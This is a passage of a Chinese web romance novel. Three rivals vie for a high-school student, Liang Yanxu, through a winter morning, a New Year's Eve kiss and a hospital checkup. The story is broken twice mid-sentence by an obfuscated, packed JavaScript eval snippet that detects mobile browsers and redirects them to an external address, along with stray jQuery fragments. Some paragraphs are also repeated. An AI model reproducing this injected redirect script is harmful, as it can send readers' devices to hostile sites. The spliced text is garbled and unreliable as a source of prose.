三个身影在楼下忙开了。周原把早餐摆在石桌上,用保温罩盖好;沈江快速地铺好野餐垫,摆上星轨图案的餐布;章婷南把挂坠盒子放在最中间,旁边摆了朵周原递来的洋桔梗。 没人再多说什么,但动作里却有了默契。晨练的老人路过时多看了两眼,笑着说“现在的年轻人真热闹”,他们都没应声,只是往三楼的窗户望了眼,眼里的期待像刚冒头的太阳,一点点亮起来。 露水快晒干时,石桌上已经摆得满满当当。三个人退到几步外,谁都没说话,只等着楼上那扇窗亮起灯来。 冬日的晨光薄得像层纱,刚把楼顶的积雪染成淡金,楼下的争执就冒了头。 周原把刚买的热奶茶往石桌上墩,杯底撞出闷响:“沈江你那破垫子往哪铺?梁言许不爱坐地上,凉!” 沈江正将星纹餐布铺得平平整整,闻言抬眼:“铺了三层绒垫,比你那漏风的外套暖和。”他指了指周原敞着的运动服拉链,语气里带着点不易察察的讥诮。 周原立刻把拉链拉到顶,又把怀里的洋桔梗往章婷南那边挪了挪,像是怕被沈江的香水熏着:“章婷南,你那盒子别放太靠外,风一吹掉地上怎么办?” 章婷南刚把挂坠盒子摆端正,被他一说又往里收了收,指尖不小心碰到沈江摆的玻璃花瓶,后者立刻伸手扶住:“轻点,这是手工吹制的星象瓶,碎了不好补。” “呵,花里胡哨。”周原嗤了声,从早餐袋里掏出糖糕,故意往石桌中央推了推,“梁言许就爱吃这个,比某些人带的进口饼干实在。” 沈江从保温盒里拿出曲奇,包装纸闪着细碎的金箔光:“他上周说想尝尝海盐味的,特意托人从城南捎的。” 章婷南忽然开口:“他昨晚朋友圈发了张猎户座的照片,说最近肉眼可见。”她把挂坠盒子往中间又推了推,声音里带着点小得意,“我这挂坠就是照着昨晚的星轨绣的。” 周原和沈江同时看过去,周原哼了声:“他看星星的时候,我在旁边给你数过猎户座的腰带星。”沈江则慢悠悠地接:“我书房有台天文望远镜,他说过想看看木星的光环。” 风卷着雪沫子刮过来,周原下意识把洋桔梗往怀里拢了拢,沈江伸手关了敞着的车窗,章婷南把盒子往羽绒服口袋里塞了塞——三个人的动作里都藏着点护食似的紧张。 “要不……”章婷南搓了搓冻红的鼻尖,“等他下来自己选?” 周原刚想说“他肯定选我带的”,沈江已经先一步点头:“可以,不过他怕冷,我车里有暖手宝,等下给他递过去。” “我带了暖宝宝,贴在衣服里的那种!”周原立刻掏兜,把一沓暖宝宝拍在桌上。 雪沫子落在石桌上,很快融成小水珠。三个人不再说话,却都往楼梯口的方向偏了偏身,像是这样就能第一个接住推门出来的人。风里飘着奶茶的甜香、曲奇的奶味,还有章婷南口袋里隐约露出来的银线光泽,混着点说不清道不明的较劲,在冬日的晨光里慢慢发酵。 楼道门“咔嗒”一声开了,三个人几乎同时噤了声。 梁言许裹着件灰色羽绒服,头发还带着刚睡醒的乱,下楼的脚步顿在最后两级台阶上,看着楼下的阵仗眨了眨眼。石桌上摆得满满当当,周原手里攥着暖宝宝,沈江倚着车门像是刚从画报里走出来,章婷南站在树旁,脸红得像被冻透的苹果。 “你们……”他刚开口,就被周原抢了话头。 “宝宝你醒了!”周原几步冲过去,把怀里揣得温热的奶茶往他手里塞,“快暖暖手,这家的珍珠煮得糯!” 沈江紧随其后,手里拿着个精致的保温杯:“刚泡的姜枣茶,比奶茶暖身子,你昨天说有点咳嗽。”他说话时特意往梁言许身边靠了靠,西装袖子若有似无地蹭过对方的胳膊。 周原立刻把梁言许往自己这边拉了拉,瞪着沈江:“姜枣茶一股子药味,他不爱喝!” “我没说不爱喝。”梁言许被两人拽得踉跄了下,手里的奶茶晃出些沫子。 章婷南趁机从树后走出来,把丝绒盒子递上前,声音细若蚊吟:“这个……给你的。” 梁言许刚要去接,周原突然“咦”了声“这盒子看着眼熟,上次你是不是想塞给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340955|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔壁班的男生?” 章婷南的脸瞬间白了:“才没有!这是特意给你做的!”她急得快哭了,把盒子往梁言许手里塞得更紧。 沈江忽然轻笑一声:“手工倒是挺巧,就是星轨绣反了,猎户座的腰带星应该是左高右低。” 章婷南的眼泪真掉下来了,攥着梁言许的袖子:“我……我记错了……” “你懂个屁!”周原吼了沈江一句,又转向章婷南,语气软了点,“绣反了也好看,比某些人只会买现成的强。”他说着,把洋桔梗往梁言许怀里塞,“这个配你今天的衣服,颜色搭!” 沈江从车里拿出条格子围巾,直接往梁言许脖子上绕:“风大,围上。这是你上次在商场多看了两眼的那款。” 围巾的羊毛蹭得梁言许脖子发痒,他刚想摘,周原已经把暖宝宝往他羽绒服兜里塞:“贴后背!暖和!”沈江又递来暖手宝:“握手里,比暖宝宝见效快。” 梁言许被裹得像个粽子,手里攥着奶茶、捧着花、脖子绕着围巾,兜里塞着暖宝宝,看着眼前三个各怀心思的人,忽然觉得这冬日的早晨,比怀里的奶茶还要烫。 “你们,就见周原和沈江又瞪上了眼,章婷南还在小声抽噎。 远处传来卖早点的吆喝声,阳光把三个人的影子拉得老长,在雪地上缠成一团。梁言许低头看着怀里的洋桔梗,花瓣上沾着的雪粒正慢慢融化,像谁没说出口的话,在风里悄悄落进了心里。 “大哥大姐们,你们一大早跑来人家楼下干什么?”梁言许裹紧羽绒服,看着雪地里三个鼻尖冻得通红的人,语气里带着无奈。周原手里的奶茶杯壁凝着水珠,沈江的西装肩头落了层薄雪,章婷南的围巾都被风吹得歪到一边。 “这不是怕你饿肚子嘛。”周原把早餐往他怀里塞,热乎的糖糕隔着塑料袋烫着手,“快上楼,外面冻死了。” 沈江顺坡下驴:“正好我带了物理竞赛的复习资料,想跟你对对题。”说着就去拎石桌上的文件袋,动作自然得像在自家客厅。 章婷南也赶紧点头:“我……我想请教你星图的问题,昨天看的星星位置总记不清。” 梁言许看着三人冻得发僵的样子,叹了口气往楼道走:“进来吧,别在这儿站着当雪人。” 门刚开条缝,周原就抢先挤进去,把早餐往玄关柜上放,顺便往沈江脚边绊了下——当然没真让他摔倒,就是想占个先。沈江不动声色地往梁言许身边靠了靠,低声说:“你家暖气好像不太足,我车里有备用暖风机。” 章婷南跟在最后,脱鞋时不小心碰掉了周原的运动鞋,两人同时弯腰去捡,手指在鞋面上撞了下,又像触电似的弹开。 梁言许把他们往客厅带,刚转身想去倒热水,就听见身后“哗啦”一声。周原正把沈江放在茶几上的复习资料往旁边推,结果带倒了果盘,橘子滚得满地都是。 “周原你能不能小心点!”沈江皱眉去捡,袖口沾了片橘子皮。 “谁让你把破书堆那么满?”周原也蹲下去抢,两人的手在地毯上抓着同一个橘子,谁都不肯松。 章婷南刚想帮忙,就被滚到脚边的橘子绊了下,手里的丝绒盒子“啪”地掉在地上,挂坠滑出来,银线绣的星轨被地毯勾住了线头。 “我的挂坠!”她急得快哭了,梁言许赶紧蹲下去帮她摘线头,指尖刚碰到挂坠,就被周原和沈江同时拉住。 “宝宝你别动,我来!” “让我来,你指甲长,别勾坏了。” 两人的手在梁言许手背上撞了下,又同时瞪向对方。梁言许看着眼前三个幼稚鬼,忽然觉得客厅里的暖气都没他们身上的火气旺。 他抽回手,抱起胳膊看着他们:“要么好好待着,要么现在就走。” 周原立刻松手去捡橘子,沈江把复习资料码整齐,章婷南捧着挂坠小声说“我自己能修好”。梁言许看着他们手忙脚乱的样子,转身进了厨房,刚烧开的水在壶里咕嘟响,像在嘲笑他这乱糟糟的早晨。 等他端着三杯热可可出来时,就见周原正把沈江的资料往沙发缝里塞,沈江在抢周原揣兜里的暖宝宝,章婷南抱着挂坠缩在沙发角,偷偷往梁言许这边看。 阳光透过窗户落在地板上,映出细小的尘埃在飞。梁言许把热可可往每人面前放了一杯,忽然觉得这个冬天,大概很难清静了。 8. 年 梁言许本盼着假期能悠闲度日,周原、沈江和章婷南的加入,却让日子变得热闹得“过分”,全天候被三人围绕,像卷入一场无声“争夺战”,满是争风吃醋的戏码。 清晨,梁言许还在睡梦中,周原已带着热乎早餐候在楼下;沈江捧着鲜花,想用浪漫撬开他的心房;章婷南拿着亲手做的点心。三人明里暗里较着劲,梁言许被闹得无奈又头大,困意都被这阵仗赶跑。 到了中午,三人又换着法子邀他吃饭。周原说新开餐厅值得一试,沈江要教新技能当由头,章婷南直接端出亲手做的便当。梁言许得在这一堆“邀约炮弹”里选,每次做决定都头疼,感觉像在解复杂数学题,怎么选都怕顾此失彼。 下午也不消停,三人各出活动牌。周原喊着去打篮球,沈江邀看电影,章婷南要逛艺术展。梁言许的时间被填得满满当当,私人空隙被挤得没影,想静静都成奢望。 晚上,梁言许好不容易能回住处,三人又在楼下“守株待兔”。周原说些甜言蜜语,沈江用幽默逗他,章婷南送温馨祝福,轮番上阵告别。 这争风吃醋的日常天天上演,梁言许无奈又觉好笑,清楚三人对自己有特殊情感,可也被折腾得疲惫。他开始琢磨,怎么平衡这关系,既不伤人,又能让生活回到自己能掌控的节奏,别再这么被推着跑。 梁言许本盼着假期能悠闲度日,周原、沈江和章婷南的加入,却让日子变得热闹得“过分”,全天候被三人围绕,像卷入一场无声“争夺战”,满是争风吃醋的戏码。 清晨,梁言许还在睡梦中,周原已带着热乎早餐候在楼下;沈江捧着鲜花,想用浪漫撬开他的心房;章婷南拿着亲手做的星象挂坠,盼为他添好运。三人明里暗里较着劲,梁言许被闹得无奈又头大,困意都被这阵仗赶跑。 到了中午,三人又换着法子邀他吃饭。周原说新开餐厅值得一试,沈江要教新技能当由头,章婷南直接端出亲手做的便当。梁言许得在这一堆“邀约炮弹”里选,每次做决定都头疼,感觉像在解复杂数学题,怎么选都怕顾此失彼。 下午也不消停,三人各出活动牌。周原喊着去打篮球,沈江邀看电影,章婷南要逛艺术展。梁言许的时间被填得满满当当,私人空隙被挤得没影,想静静都成奢望。 晚上,梁言许好不容易能回住处,三人又在楼下“守株待兔”。周原说些甜言蜜语,沈江用幽默逗他,章婷南送温馨祝福,轮番上阵告别。 这争风吃醋的日常天天上演,梁言许无奈又觉好笑,清楚三人对自己有特殊情感,可也被折腾得疲惫。他开始琢磨,怎么平衡这关系,既不伤人,又能让生活回到自己能掌控的节奏,别再这么被推着跑。 年三十晚上,梁言许本以为能暂时躲开周原、沈江和章婷南的“包围”,安静守着家里的春晚,吃点零食放松放松。毕竟白天里,三人争着陪他买年货、贴春联,折腾得他够呛,想着晚上总能落个清净。 结果刚洗漱完,正窝在沙发上,就听见门外传来熟悉的敲门声。梁言许心里“咯噔”一下,暗叫不好,拖着步子去开门,果不其然,是周原。 “干嘛……”梁言许声音里透着股没睡醒的含糊,除夕守岁熬得他眼皮直打架,本想搪塞几句就关门接着休息。 周原却眼睛发亮,脸上带着股不容拒绝的劲儿:“带你出去玩,别一天呆在家,年三十就得热热闹闹的!”话落,不等梁言许张嘴回复,周原伸手就把人单手扛了起来,那动作干脆利落,仿佛梁言许只是个轻飘飘的小包裹。 梁言许被这突然的举动惊得瞬间清醒,手脚乱晃,着急喊:“哎哎!你放我下来,这像什么样子!”可周原充耳不闻,扛着他就往门外走,楼道里的灯光打在两人身上,周原步伐稳稳当当,嘴里还念叨:“别挣扎,今天说啥也得带你去看不一样的除夕夜景,让你记住这特别的年三十!”梁言许又气又无奈,听着自己砰砰的心跳声,脸颊不自觉发烫,心里那股子烦躁,却莫名掺了丝期待,想知道周原到底要搞什么名堂…… 周原就这么扛着梁言许出了单元门,冬日夜晚的寒气扑面而来,梁言许缩了缩脖子,忍不住嘟囔:“大晚上的,能有啥好玩的,我连鞋都没换!”周原步伐不停,笑着回他:“要的就是这份随性,鞋的事儿别操心,有我在呢。” 俩人先是晃到了老城的步行街,红灯笼挂得密密麻麻,街边小店支起摊位卖烟花、吃的年货等…。周原把梁言许放下,揉了揉他脑袋:“看看,年味儿多足,平时你总闷着,哪能瞧见这些。”梁言许瞥他一眼:“合着你扛我出来,就为看这?”周原嘿嘿一笑,拽着他往人群里钻,路过卖烤红薯的小摊,还特意买了个塞到梁言许手里,“暖乎暖乎,别老嫌我折腾。” 从步行街出来,周原又带着梁言许去了江边。江面上飘着祈福灯,星星点点的光随着水波晃。梁言许望着那些灯,难得安静下来,周原在旁轻声说:“我小时候就盼着年三十出来跑,可惜后来……”他没接着说,梁言许却听出些门道,扭头问:“后来怎么了?”周原挠挠头:“后来家里人忙,没人陪我疯啦,现在有你,得把以前缺的热闹都找回来。” 折腾到后半夜,两人绕着城市又转了好几个地方,老旧的钟表店、还在营业的深夜书店,周原像有使不完的劲儿。 梁言许脚酸得厉害,靠在路边长椅上,哀怨地瞅他:“周原,你到底要带我跑多久,我快散架了。”周原这时却变魔术似的掏出个红包,塞进梁言许手里,“呐,压岁钱,收了这个,就当陪我跑完这一遭的报酬,明年……以后年年,我都带你看不一样的年三十。” 梁言许捏着红包,看着周原映着路灯的脸,那些被折腾的烦躁早没了影,心里暖烘烘的,小声嘟囔:“谁要你年年……不过……这次算你赢了。” 周原听了,咧开嘴笑得灿烂,夜空里的烟花正巧炸开,映得两人身影都染上几分绚烂,在年三十的尾声里,悄悄埋下新的故事引子。 夜空中的烟花还在接二连三地炸开,金红交织的光团在墨色天幕上绽开又坠落,像一场盛大而短暂的梦。梁言许捏着那个还带着周原体温的红包,指尖微热,正想说些什么,却被周原突然凑近的气息打断。 周原的眼睛在烟火的映照下亮得惊人,带着点被夜色放大的执拗,还有藏不住的温柔。他没说话,只是微微俯身,视线落在梁言许被寒风吹得有些发红的唇上。 梁言许的心跳猛地漏了一拍,下意识想往后躲,却被周原伸手按住了后颈——那力道不重,却带着不容抗拒的笃定。 “周原……”他的声音刚出口就碎在风里,下一秒,唇瓣就被温热的触感覆盖。 烟火还在继续,炸开的光浪一波波涌来,照亮周原专注的眉眼,也映亮梁言许骤然睁大的眼睛。 起初是浅尝辄止的触碰,带着点试探,后来周原微微加重了力道,像要把这个夜晚的热闹、年味儿,还有藏了许久的心意,都揉进这个吻里。 梁言许的脑子一片空白,只能听见自己擂鼓般的心跳,和远处隐约的烟花轰鸣,连带着手里的红包都被攥得发皱。 不知过了多久,周原才稍稍退开些,鼻尖蹭着梁言许的脸颊,呼吸有些乱:“梁言许,新年快乐。” 梁言许还没从那阵眩晕里缓过来,嘴唇发麻,脸颊烫得能煎鸡蛋,刚想开口说点什么,身后却突然传来两道清晰的脚步声,伴随着章婷南惊讶的低呼:“周原?言许?你们怎么在这儿……” 梁言许猛地回头,就看见章婷南和沈江站在不远处的路灯下。章婷南手里还提着个食盒,显然是来找他的;沈江则皱着眉,视线在他和周原之间来回扫,最后定格在两人微肿的唇上,脸色瞬间沉了下去。 空气仿佛凝固了。 周原倒是比梁言许镇定,干脆往梁言许身前站了半步,抬眼看向沈江,语气里带着点毫不掩饰的宣告意味:“我们在跨年,怎么了?” 沈江往前走了两步,目光沉沉地盯着周原:“跨年需要做到这种地步?”他的声音不高,却带着压抑的火气。 章婷南看看这个,又看看那个,手里的食盒差点没拿稳,小声说:“我……我们看你没在家,就想着出来找找,沈江说你可能会在这边……” 梁言许这才回过神,窘迫得想找个地缝钻进去,他下意识地想推开周原,却被周原反手握住了手腕。周原的掌心很烫,握得很紧,像是在无声地传递某种信号。 烟火恰好又在此时炸开,巨大的光团照亮了四个人的脸,一边是周原的坦然,一边是沈江的愠怒,章婷南的无措,还有梁言许自己的手足无措,把这个本该热闹的除夕夜晚,搅得比之前任何一次争风吃醋都要复杂。 烟火还在头顶噼啪作响,却没人再有心思抬头看。 沈江的目光像淬了冰,直直射向周原握着梁言许手腕的手:“松开。” 周原挑眉,非但没松,反而握得更紧了些,指腹甚至不经意擦过梁言许的皮肤,惹得梁言许指尖一颤。 “凭什么?”周原语气散漫,眼神却带着锋芒,“我牵我自己喜欢的人,碍着你了?” “喜欢的人?”沈江像是听到了什么笑话,往前走了两步,路灯在他身后拖出长长的影子,“周原,感情不是你抢来的。” “抢?”周原嗤笑一声,侧头看了眼身旁还在发懵的梁言许,喉间滚出低笑,“你问问他,刚才是不是心甘情愿的。” 梁言许被这突如其来的“逼问”砸得脑子更乱,脸颊烫得能冒烟,张了张嘴,却一个字也说不出来。他能感觉到沈江的目光落在自己脸上,带着失望和探究,还有章婷南怯生生的眼神,像小兽似的不安。 “你别为难他。”章婷南终于鼓起勇气开口,声音细细的,“言许他……他可能只是被你吓到了。”她说着,还往梁言许那边挪了挪,像是想把他从周原身边拉出来。 周原却往旁边侧了侧身,稳稳挡住章婷南的动作,视线重新落回沈江身上:“是不是吓到,他心里清楚。倒是你们,大半夜追过来,是想干什么?” “我们是担心言许!”沈江的声音陡然拔高,“你看看现在几点了?带着他在外面疯跑,还做这种……”他话没说完,却猛地闭了嘴,大概是觉得“接吻”两个字在此时说出来,更像在往梁言许心上扎。 梁言许终于找回自己的声音,哑着嗓子开口:“别吵了……” 他一说话,另外三个人都安静了。 梁言许挣了挣手腕,周原这次没再硬拽,松了手。他揉了揉被握得发红的地方,低着头,不敢看任何人:“我……我想回家了。” “我送你。”周原立刻接话。 “我也去。”沈江紧随其后。 章婷南也小声附和:“我……我也可以一起。” 梁言许头疼地闭了闭眼,除夕夜的风卷着烟火的硝烟味吹过来,带着点呛人的暖意。他抬起头,看向面前三个各怀心思的人,突然觉得刚才那个吻带来的悸动,好像被这阵突如其来的对峙冲得七零八落,只剩下满心的疲惫。 “不用了。”他吸了口气,声音轻却清晰,“我自己能回去。” 说完,他转身就往家的方向走,没再回头。身后的三个人都没动,只有头顶的烟火还在不知疲倦地炸开,把他们的影子在地上拉得忽长忽短,像一场没演完的闹剧。 周原望着梁言许快步走远的背影,摸了摸鼻尖,突然低笑一声。沈江瞥他一眼,眼神冷得像冰:“你得意什么?” “至少我试过了。”周原耸耸肩,往梁言许离开的方向瞥了眼,“总比某些人,只会站在旁边看着强。” 沈江的拳头猛地攥紧,指节泛白。章婷南站在两人中间,看着远处梁言许的身影消失在街角,突然蹲下身,把脸埋进膝盖里,肩膀轻轻抖了起来。 夜风吹过,带着新年的喧嚣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340956|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却吹不散这四个人之间突然变得粘稠又沉重的空气。 梁言许刚把钥匙插进锁孔,门还没完全推开,身后就传来一阵力道,整个人被一股熟悉的力量圈住,下一秒就双脚离地,被周原打横抱了起来。 “周原!你放我下来!”梁言许在他怀里挣扎,拳头捶在周原结实的肩膀上,像挠痒似的。他167的身高在190的周原面前,简直像只被拎住后颈的猫,四肢扑腾得再欢,也挣脱不开那双臂膀。 周原低头看他,眼底还带着刚才在外面的热度,说话时气息拂过梁言许的耳廓:“别动,刚跑了一路,累坏了吧?”说着,他用膝盖顶开虚掩的门,抱着人径直往里走,反手“咔哒”一声带上门,把外面的风雪和对峙都关在了门外。 “谁累坏了?明明是你……”梁言许的话卡在喉咙里,因为周原把他放在沙发上时,动作太稳,甚至还顺手给他垫了个靠枕。他刚想坐起来,周原已经俯身压了过来,双手撑在沙发两侧,把他圈在中间。 “我今晚在这儿过夜。”周原的语气不是商量,是通知。他的视线落在梁言许微肿的唇上,喉结动了动,“外面太冷,懒得走了。” “你家离这儿就两条街!”梁言许往后缩了缩,后背抵着沙发扶手,退无可退,“再说我家就一张床,你睡哪儿?” “跟你睡。”周原说得理直气壮,伸手替他理了理被风吹乱的刘海,指尖划过他发烫的脸颊,“你床够大,挤挤怎么了?” 梁言许被他这无赖劲儿气笑了,又有点慌:“周原,你别胡闹,沈江他们说不定还在楼下……” “管他们干什么。”周原打断他,眼神沉了沉,“刚才在外面,你没反驳我,是不是也算……默认了?” 这话像颗小石子投进梁言许心里,漾开一圈圈涟漪。他想起刚才那个吻,想起沈江和章婷南震惊的表情,脸颊又开始发烫,梗着脖子嘴硬:“我那是……是被你吓傻了!” “哦?”周原挑眉,俯身凑得更近,两人鼻尖几乎要碰到一起,“那要不要再试一次,看看你是不是真傻了?” 梁言许瞬间绷紧了身体,双手抵在周原胸口,却被他顺势握住。周原的手掌宽大温热,轻易就包裹住他的手,按在自己心跳的位置——那里跳得又快又沉,像在呼应着梁言许的慌乱。 “别闹了……”梁言许的声音软了下来,带着点无可奈何的气音。他知道自己拗不过周原,这人力气大得离谱,真要硬来,他半点胜算都没有。 周原看着他泛红的眼角和抿紧的唇,眼底的笑意深了些,却没再逼近,只是松开他的手,直起身来,伸手揉了揉他的头发:“不闹你。但我今晚不走了,就睡沙发,行不行?” 他刻意放软了语气,甚至带了点不易察觉的讨好。梁言许看着他高大的身影杵在面前,又想起刚才在江边他说“以后年年都带你看”的样子,心里那点抗拒突然就松动了。 外面的烟火还在断断续续地响,客厅里只开了盏暖黄的落地灯,把两人的影子投在墙上,缠缠绕绕的。梁言许别过脸,小声嘟囔:“……沙发那么小,冻死你活该。” 周原低笑起来,声音里的雀跃藏都藏不住:“冻死也乐意。” 说着,他转身去浴室找毛巾,留下梁言许一个人坐在沙发上,摸着自己还在发烫的脸颊,听着浴室里传来的水声,突然觉得这个除夕夜,好像真的变得和以往任何时候都不一样了。 梁言许睡得并不沉,半梦半醒间总觉得身边少了点什么,又好像多了点什么。窗外的烟火早就停了,屋子里静得能听见自己的呼吸,还有……门轴转动的轻微“吱呀”声。 他睫毛颤了颤,还没睁开眼,就感觉床沿微微一沉。黑暗中,一道熟悉的气息慢慢靠近,带着点沐浴后的清爽皂角香,和周原身上独有的、让人安心的味道。 梁言许的心猛地一跳,刚想开口问“你怎么进来了”,身体就被一双温热的手臂轻轻圈住。周原的动作很轻,像怕惊扰了他的梦,手臂穿过他的腰,将他往怀里带了带,下巴轻轻搁在他的发顶。 “别动。”周原的声音压得很低,带着点刚睡醒的沙哑,在寂静的夜里格外清晰,“就抱一会儿。” 梁言许的身体瞬间僵住,后背贴着周原温热的胸膛,能清晰地感受到他沉稳的心跳,一下一下,撞得他耳膜发颤。他167的身高窝在190的周原怀里,刚好能被完全裹住,像被一张无形的网罩住,逃不开,也不想逃。 “你不是睡沙发吗……”他的声音闷闷的,埋在枕头里,带着点没睡醒的含糊。 “沙发太硬了。”周原的呼吸拂过他的发梢,带着点耍赖的意味,“而且,天冷,两个人睡暖和。”他说着,手臂又收紧了些,却没用力,只是刚好能让梁言许感受到他的存在。 梁言许没再说话。黑暗像一块柔软的绒布,把两人裹在中间,隔绝了外面的一切。他能感觉到周原的体温透过薄薄的睡衣渗过来,驱散了夜里的凉意。刚才被沈江和章婷南撞见的窘迫,还有面对三人时的无措,好像都在这安稳的怀抱里慢慢消散了。 他能闻到周原身上淡淡的烟火气,那是今晚在外面跑了一路留下的痕迹;还能感觉到他环在自己腰间的手,指腹有些粗糙,却带着让人踏实的力量。 “梁言许。”周原又低低地叫了他一声。 “嗯?” “新年快乐。” 梁言许的嘴角不自觉地弯了弯,往周原怀里蹭了蹭,把脸埋得更深了些,声音轻得像叹息:“……新年快乐。” 窗外的月光透过窗帘缝隙钻进来,在地板上投下一道细长的光带。周原低头看着怀里人放松的眉眼,嘴角扬起一个浅浅的弧度,收紧手臂,闭上了眼睛。 这一晚,没人再提沈江和章婷南,没人再纠结那些没说清的情愫。只有两个交叠的呼吸声,在寂静的卧室里,慢慢变得一致,安稳得像要这样走到天荒地老。 9. 不懂的爱 第二天醒来时,梁言许是被阳光晒醒的。 他动了动,发现自己还窝在周原怀里,姿势跟昨晚没差多少,只是不知什么时候翻了个身,脸正对着周原的胸口。他抬头,能看见周原紧抿的唇线和清晰的下颌线,阳光透过窗帘落在他脸上,连绒毛都看得一清二楚。 周原似乎察觉到他醒了,睫毛颤了颤,睁开眼时眼神还有点惺忪,看到他的脸近在咫尺,愣了半秒才低声问:“醒了宝宝?” 梁言许猛地往后缩了缩,脸颊瞬间发烫:“……嗯。” 周原却没松手,反而屈起手臂把他往回带了带,声音带着刚醒的慵懒:“起这么早?都放假了,不用上学。” “不早了吧……”梁言许抬手想推他,指尖碰到周原睡衣里温热的皮肤,又触电似的收了回来,“都亮天了。” 周原低笑了声,终于松开手坐起身,被子从他肩头滑落,露出线条分明的锁骨。他抓过床头的手机看了眼时间:“才七点,再躺会儿?” 梁言许摇摇头,也跟着坐起来,头发睡得乱糟糟的,像只炸毛的猫。他掀开被子下床,脚刚踩进拖鞋,就听见周原在身后说:“今天别安排别的事,带你去个地方。” “去哪?”梁言许回头看他。 “医院。”周原的语气很平静,像是在说去超市一样平常,“做个体检。” 梁言许愣了一下:“体检?好好的做什么体检?”他们俩身体都没什么毛病,平时连感冒都少得可怜,突然提体检,让他有点莫名。 周原掀开被子下床,走到他面前,伸手替他理了理翘起来的头发,指尖的温度带着点微凉:“就是常规检查,学校不是说过让高三学生抽空做个体检吗?提前做了省心。” 这话半真半假。学校确实提过,但没强制要求。周原心里清楚,他是怕。怕上一世梁言许那突如其来的病,怕那些被他错过的早期症状,怕历史重演。昨晚抱着梁言许的时候,他甚至不敢太用力,怕这只是一场稍纵即逝的梦。 梁言许还是觉得奇怪,皱着眉看他:“可是……” “没什么可是的。”周原打断他,语气带着不容置疑的笃定,却又放柔了些,“就当陪我去,行不行?我也想查查,最近总觉得有点累。” 他故意找了个借口,知道梁言许心软。 果然,梁言许听到这话,犹豫了一下就点了头:“那……好吧。”他抬手摸了摸周原的额头,“你是不是昨晚冻着了?脸色看着是不太好。” 周原握住他的手腕,指尖摩挲着他的皮肤,低声说:“不知道,所以才要去查查。” 他看着梁言许清澈的眼睛,心里默念:这一次,我不会再让你有事了。 洗漱完换好衣服,两人简单吃了点早餐就出了门。冬天的早晨寒气很重,梁言许缩着脖子往周原身边靠了靠,被周原自然地揽住了肩膀。 “冷?” “有点。”梁言许往他身上蹭了蹭,“早知道穿件厚点的羽绒服了。” “下次记得。”周原把他往怀里带了带,“医院离得不远,打车十几分钟就到。” 路上梁言许还在嘀咕:“其实真没必要这么麻烦……” “听话。”周原捏了捏他的脸颊,“查完了放心,不然我总惦记着,影响学习。” 梁言许被他捏得脸颊发红,拍开他的手:“知道了,查就查。” 到了医院,周原熟门熟路地拉着他挂号、填表。梁言许看着他一系列流畅的动作,更觉得奇怪了:“你怎么对这儿这么熟?” 周原手一顿,随即若无其事地说:“上次陪我妈来拿过药,记路。” 他没说的是,上一世他无数次在这家医院的走廊里徘徊,闭着眼睛都能摸到肿瘤科的病房。 排队等候的时候,梁言许坐在椅子上打哈欠,昨晚没睡够,现在有点困。周原把他的头往自己肩上靠了靠:“宝宝,困就睡会儿,到了叫你。” “不用……”梁言许嘟囔着,却还是乖乖地靠了过去,闻着周原身上熟悉的味道,眼皮越来越沉。 周原低头看着他熟睡的侧脸,手指轻轻拂过他的眉心。阳光透过医院的玻璃窗照进来,落在两人交叠的手上。他在心里一遍遍地祈祷,祈祷所有指标都正常,祈祷时间能慢一点,再慢一点,让他有足够的时间,护好怀里这个人。 “宝宝,醒醒,到我们了。” 不知过了多久,梁言许被周原轻轻推醒,迷迷糊糊地跟着他站起来,被他牵着往诊室走。 手心传来的温度很暖,梁言许看着两人交握的手,突然觉得,就算是来医院体检,好像也没那么可怕了。 检查室的门被推开时,周原的心跳莫名漏了一拍。他下意识地攥紧了梁言许的手,指尖微微泛白。 梁言许刚抽完血,胳膊上还压着棉签,见周原这副紧张模样,反倒笑了:“你比我还紧张啊?我这不是好好的吗。” 医生拿着报告单走出来,推了推眼镜,语气轻松:“没什么问题,各项指标都挺正常的。小伙子身体不错,就是有点轻度贫血,平时多吃点含铁的食物,注意作息就行。” 周原屏住的那口气终于缓缓吐了出来,像是卸下了千斤重担,后背瞬间沁出一层薄汗。他接过报告单,手指都在微微发颤,一行行仔细看过去,确认每一项后面都是“正常”两个字,才真正松了心。 “听到了吧,”梁言许撞了撞他的胳膊,眉眼弯弯,“我就说没事,你非瞎担心。” 周原没说话,只是反手握住他的手腕,力道比刚才重了些,像是要确认他是真实存在的。阳光透过走廊的窗户落在他脸上,驱散了眼底最后一丝阴霾,连带着声音都轻快了不少:“宝宝正常就好。” 从医院出来时,已经快中午了。冬天的太阳挂在天上,没什么温度,却让人心里敞亮。梁言许把压在胳膊上的棉签扔进垃圾桶,晃了晃手腕:“现在放心了吧?我健康得很。” “嗯。”周原应着,脚步却没停,拉着他往街角的早餐店走,“宝宝还没吃东西,进去垫垫。” 店里人不多,暖气很足。周原点了两碗牛肉面,特意让老板多加了些菠菜和牛肉。梁言许看着他把自己碗里的牛肉夹过来大半,忍不住笑:“你这是怕我贫血更严重啊?” “宝宝多吃点总没错。”周原把筷子塞到他手里,眼神认真,“你以后每天早上都得吃鸡蛋,晚上别熬那么晚才睡,听见没?” 梁言许被他这副“老妈子”模样逗乐了,乖乖点头:“知道啦。”他低头咬了口牛肉,突然想起什么,抬头问,“那你呢?你刚才也查了,没什么事吧?” “我?”周原喝了口汤,语气随意,“我能有什么事,壮得像头牛。” 